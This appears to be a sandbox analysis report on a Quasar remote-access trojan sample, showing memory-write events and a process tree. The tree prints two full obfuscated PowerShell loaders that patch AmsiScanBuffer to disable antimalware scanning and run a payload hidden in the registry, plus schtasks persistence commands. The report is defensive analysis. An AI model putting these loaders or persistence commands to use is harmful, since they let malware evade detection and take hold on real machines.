PID 1136 wrote to memory of 3576	1136	Uni.exe	89
PID 1136 wrote to memory of 3576	1136	Uni.exe	89
PID 1136 wrote to memory of 3576	1136	Uni.exe	89
PID 1136 wrote to memory of 4980	1136	Uni.exe	90
PID 1136 wrote to memory of 4980	1136	Uni.exe	90
PID 1136 wrote to memory of 4980	1136	Uni.exe	90
PID 3896 wrote to memory of 1752	3896	Client.exe	94
PID 3896 wrote to memory of 1752	3896	Client.exe	94
PID 3896 wrote to memory of 1752	3896	Client.exe	94
PID 3896 wrote to memory of 644	3896	Client.exe	97
PID 3896 wrote to memory of 644	3896	Client.exe	97
PID 3896 wrote to memory of 644	3896	Client.exe	97
PID 4360 wrote to memory of 1228	4360	powershell.EXE	100
PID 4360 wrote to memory of 1228	4360	powershell.EXE	100
PID 4360 wrote to memory of 1228	4360	powershell.EXE	100
PID 4360 wrote to memory of 1228	4360	powershell.EXE	100
PID 4360 wrote to memory of 1228	4360	powershell.EXE	100
PID 4360 wrote to memory of 1228	4360	powershell.EXE	100
PID 4360 wrote to memory of 1228	4360	powershell.EXE	100
PID 4360 wrote to memory of 1228	4360	powershell.EXE	100
PID 684 wrote to memory of 756	684	powershell.EXE	101
PID 684 wrote to memory of 756	684	powershell.EXE	101
PID 684 wrote to memory of 756	684	powershell.EXE	101
PID 684 wrote to memory of 756	684	powershell.EXE	101
PID 684 wrote to memory of 756	684	powershell.EXE	101
PID 684 wrote to memory of 756	684	powershell.EXE	101
PID 684 wrote to memory of 756	684	powershell.EXE	101
PID 684 wrote to memory of 756	684	powershell.EXE	101
PID 1228 wrote to memory of 616	1228	dllhost.exe	5
PID 1228 wrote to memory of 668	1228	dllhost.exe	7
PID 1228 wrote to memory of 960	1228	dllhost.exe	12
PID 1228 wrote to memory of 1020	1228	dllhost.exe	13
PID 756 wrote to memory of 616	756	dllhost.exe	5
PID 756 wrote to memory of 668	756	dllhost.exe	7
PID 756 wrote to memory of 960	756	dllhost.exe	12
PID 756 wrote to memory of 1020	756	dllhost.exe	13
PID 756 wrote to memory of 748	756	dllhost.exe	14
PID 756 wrote to memory of 924	756	dllhost.exe	15
PID 756 wrote to memory of 1072	756	dllhost.exe	16
PID 756 wrote to memory of 1092	756	dllhost.exe	18
PID 756 wrote to memory of 1184	756	dllhost.exe	19
PID 756 wrote to memory of 1232	756	dllhost.exe	20
PID 756 wrote to memory of 1296	756	dllhost.exe	21
PID 756 wrote to memory of 1320	756	dllhost.exe	22
PID 756 wrote to memory of 1412	756	dllhost.exe	23
PID 756 wrote to memory of 1440	756	dllhost.exe	24
PID 756 wrote to memory of 1448	756	dllhost.exe	25
PID 756 wrote to memory of 1464	756	dllhost.exe	26
PID 756 wrote to memory of 1536	756	dllhost.exe	27
PID 756 wrote to memory of 1648	756	dllhost.exe	28
PID 756 wrote to memory of 1708	756	dllhost.exe	29
PID 756 wrote to memory of 1720	756	dllhost.exe	30
PID 756 wrote to memory of 1812	756	dllhost.exe	31
PID 756 wrote to memory of 1832	756	dllhost.exe	32
PID 756 wrote to memory of 1912	756	dllhost.exe	33
PID 756 wrote to memory of 1920	756	dllhost.exe	34
PID 756 wrote to memory of 2012	756	dllhost.exe	35
PID 756 wrote to memory of 2044	756	dllhost.exe	36

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1020
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{119b486e-8957-4ab0-b59f-038a2bea71ed}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1228
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{2c5e3ff9-0737-442f-a4f8-3db53668997b}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:756

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1184
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:QjgUFRbycgnY{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$urQaJDsoThFArB,[Parameter(Position=1)][Type]$gYtATmpdnk)$vboNckuUpAH=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+[Char](108)+''+'e'+''+[Char](99)+'te'+'d'+'D'+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+''+'e'+''+[Char](109)+''+[Char](111)+'ry'+'M'+''+[Char](111)+'d'+[Char](117)+''+'l'+'e',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+''+[Char](84)+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+'bl'+'i'+''+[Char](99)+''+[Char](44)+'S'+'e'+''+[Char](97)+''+'l'+'ed,'+'A'+''+'n'+''+[Char](115)+''+'i'+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+','+'A'+''+'u'+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$vboNckuUpAH.DefineConstructor(''+'R'+''+[Char](84)+'S'+'p'+'e'+'c'+''+'i'+''+'a'+''+'l'+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+'i'+'g'+','+'P'+''+'u'+'b'+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$urQaJDsoThFArB).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'im'+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$vboNckuUpAH.DefineMethod(''+[Char](73)+'nv'+'o'+''+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+'b'+''+[Char](108)+''+'i'+'c'+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+'e'+''+[Char](66)+'y'+'S'+'i'+[Char](103)+''+[Char](44)+''+'N'+''+'e'+''+[Char](119)+''+[Char](83)+'l'+[Char](111)+'t'+[Char](44)+'V'+'i'+'r'+[Char](116)+''+'u'+''+[Char](97)+'l',$gYtATmpdnk,$urQaJDsoThFArB).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $vboNckuUpAH.CreateType();}$cEohDrunEpBQh=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'ys'+[Char](116)+'em'+'.'+''+'d'+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+'r'+''+[Char](111)+''+[Char](115)+'o'+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+'i'+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+'i'+'v'+[Char](101)+''+[Char](77)+''+'e'+''+[Char](116)+''+[Char](104)+''+'o'+''+[Char](100)+''+[Char](115)+'');$mKCDyAGHQeVDsp=$cEohDrunEpBQh.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+'o'+''+'c'+''+'A'+''+'d'+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+''+'b'+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+'S'+[Char](116)+''+[Char](97)+'ti'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$jYGaJJnJKZeBUoNUndS=QjgUFRbycgnY @([String])([IntPtr]);$ESlcbkuCvYyzDlAwLjoeSW=QjgUFRbycgnY @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$pnxBzYLlbYC=$cEohDrunEpBQh.GetMethod('G'+[Char](101)+''+[Char](116)+''+'M'+'o'+'d'+''+[Char](117)+''+'l'+''+'e'+'H'+[Char](97)+'n'+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+'rn'+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$QFEPnGLeiTOUjB=$mKCDyAGHQeVDsp.Invoke($Null,@([Object]$pnxBzYLlbYC,[Object](''+'L'+''+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+''+'r'+''+[Char](121)+'A')));$ViLuSGJRxDNeEFKEf=$mKCDyAGHQeVDsp.Invoke($Null,@([Object]$pnxBzYLlbYC,[Object](''+[Char](86)+''+'i'+''+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+'t'+'e'+'c'+''+'t'+'')));$cjlwehu=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QFEPnGLeiTOUjB,$jYGaJJnJKZeBUoNUndS).Invoke('am'+[Char](115)+'i.'+[Char](100)+'ll');$hMdwwmSHucExNJYUo=$mKCDyAGHQeVDsp.Invoke($Null,@([Object]$cjlwehu,[Object](''+[Char](65)+''+'m'+'si'+'S'+''+'c'+'an'+[Char](66)+''+'u'+'f'+'f'+'e'+[Char](114)+'')));$mTKCiTqfqM=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ViLuSGJRxDNeEFKEf,$ESlcbkuCvYyzDlAwLjoeSW).Invoke($hMdwwmSHucExNJYUo,[uint32]8,4,[ref]$mTKCiTqfqM);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$hMdwwmSHucExNJYUo,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ViLuSGJRxDNeEFKEf,$ESlcbkuCvYyzDlAwLjoeSW).Invoke($hMdwwmSHucExNJYUo,[uint32]8,0x20,[ref]$mTKCiTqfqM);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+'A'+'R'+[Char](69)+'').GetValue('$'+'7'+''+[Char](55)+'s'+'t'+''+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:YLoObLzeQFXL{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$UBjTeWsDFNglGC,[Parameter(Position=1)][Type]$wjGNIpXULw)$IfxdRllDYlF=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+'De'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+''+'M'+''+'o'+''+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'',$False).DefineType('M'+'y'+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+'t'+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+'e',''+'C'+'l'+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+'b'+'l'+''+'i'+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+'a'+'l'+''+[Char](101)+''+[Char](100)+''+[Char](44)+'A'+'n'+''+'s'+'i'+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+'C'+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$IfxdRllDYlF.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+'a'+'m'+''+[Char](101)+''+[Char](44)+''+'H'+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+'g'+','+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$UBjTeWsDFNglGC).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+'M'+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$IfxdRllDYlF.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+'ok'+'e'+'',''+[Char](80)+''+[Char](117)+'b'+'l'+''+'i'+''+[Char](99)+',Hi'+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+'ig'+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+'l'+''+[Char](111)+''+'t'+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+''+'t'+'u'+[Char](97)+''+[Char](108)+'',$wjGNIpXULw,$UBjTeWsDFNglGC).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+'a'+'n'+[Char](97)+'g'+[Char](101)+'d');Write-Output $IfxdRllDYlF.CreateType();}$kouKGtqrvuyfK=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+'l')}).GetType(''+[Char](77)+'i'+[Char](99)+'r'+[Char](111)+''+[Char](115)+'oft'+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+'32'+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+'e'+[Char](77)+''+'e'+''+[Char](116)+''+'h'+''+'o'+''+'d'+''+'s'+'');$HGwqRXxqNSlDwK=$kouKGtqrvuyfK.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+[Char](80)+''+[Char](114)+''+'o'+''+'c'+''+'A'+''+[Char](100)+'d'+[Char](114)+''+'e'+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+','+'S'+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$pHhqbfvcqKPfWpoDcTn=YLoObLzeQFXL @([String])([IntPtr]);$YbCswoAUEbCNlCzJaITgQV=YLoObLzeQFXL @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$SauGYrCbQfl=$kouKGtqrvuyfK.GetMethod('G'+'e'+'t'+'M'+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+'e'+[Char](72)+'a'+[Char](110)+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+'r'+''+'n'+''+[Char](101)+''+'l'+''+'3'+''+[Char](50)+''+[Char](46)+'d'+[Char](108)+''+'l'+'')));$ykUdZmctnbkaPx=$HGwqRXxqNSlDwK.Invoke($Null,@([Object]$SauGYrCbQfl,[Object](''+[Char](76)+''+'o'+''+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+'br'+[Char](97)+''+'r'+''+[Char](121)+''+[Char](65)+'')));$wqdHwHUwjzgLADIgO=$HGwqRXxqNSlDwK.Invoke($Null,@([Object]$SauGYrCbQfl,[Object]('V'+[Char](105)+'r'+'t'+''+[Char](117)+''+'a'+''+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+'ct')));$wUbkLNM=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ykUdZmctnbkaPx,$pHhqbfvcqKPfWpoDcTn).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+[Char](105)+'.'+[Char](100)+''+'l'+'l');$saTFSnrifkbGRejmH=$HGwqRXxqNSlDwK.Invoke($Null,@([Object]$wUbkLNM,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+'c'+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$aUGuxvdhyG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wqdHwHUwjzgLADIgO,$YbCswoAUEbCNlCzJaITgQV).Invoke($saTFSnrifkbGRejmH,[uint32]8,4,[ref]$aUGuxvdhyG);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$saTFSnrifkbGRejmH,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wqdHwHUwjzgLADIgO,$YbCswoAUEbCNlCzJaITgQV).Invoke($saTFSnrifkbGRejmH,[uint32]8,0x20,[ref]$aUGuxvdhyG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+'A'+'R'+[Char](69)+'').GetValue(''+[Char](36)+''+'7'+''+[Char](55)+''+[Char](115)+'tag'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1440

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1464
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  - Modifies registry class
  PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1648

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1812

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1912

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2044

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1852

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2180

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2760

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2844

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2868

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3364

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of UnmapMainImage
PID:3484
- C:\Users\Admin\AppData\Local\Temp\Uni.exe
  "C:\Users\Admin\AppData\Local\Temp\Uni.exe"
  2⤵
  - Drops file in System32 directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1136
- - C:\Windows\SysWOW64\schtasks.exe
    "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:4864
- - C:\Windows\SysWOW64\SubDir\Client.exe
    "C:\Windows\SysWOW64\SubDir\Client.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3896
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Windows\SysWOW64\SubDir\Client.exe" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:1752
  - - C:\Users\Admin\AppData\Local\Temp\install.exe
      "C:\Users\Admin\AppData\Local\Temp\install.exe"
      4⤵
      Executes dropped EXE
      PID:644
- - C:\Users\Admin\AppData\Local\Temp\install.exe
    "C:\Users\Admin\AppData\Local\Temp\install.exe"
    3⤵
    - Executes dropped EXE
    PID:3576
- - C:\Windows\SysWOW64\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3628

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3804

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:4020

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3988

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:432

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4256

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:5016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4508

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2148

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:2628

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
- Drops file in System32 directory
PID:5056

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2296

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:3992

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:60

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
1⤵
PID:3536

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
1⤵
PID:2020

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:3692

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1628

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:4260

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2828

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

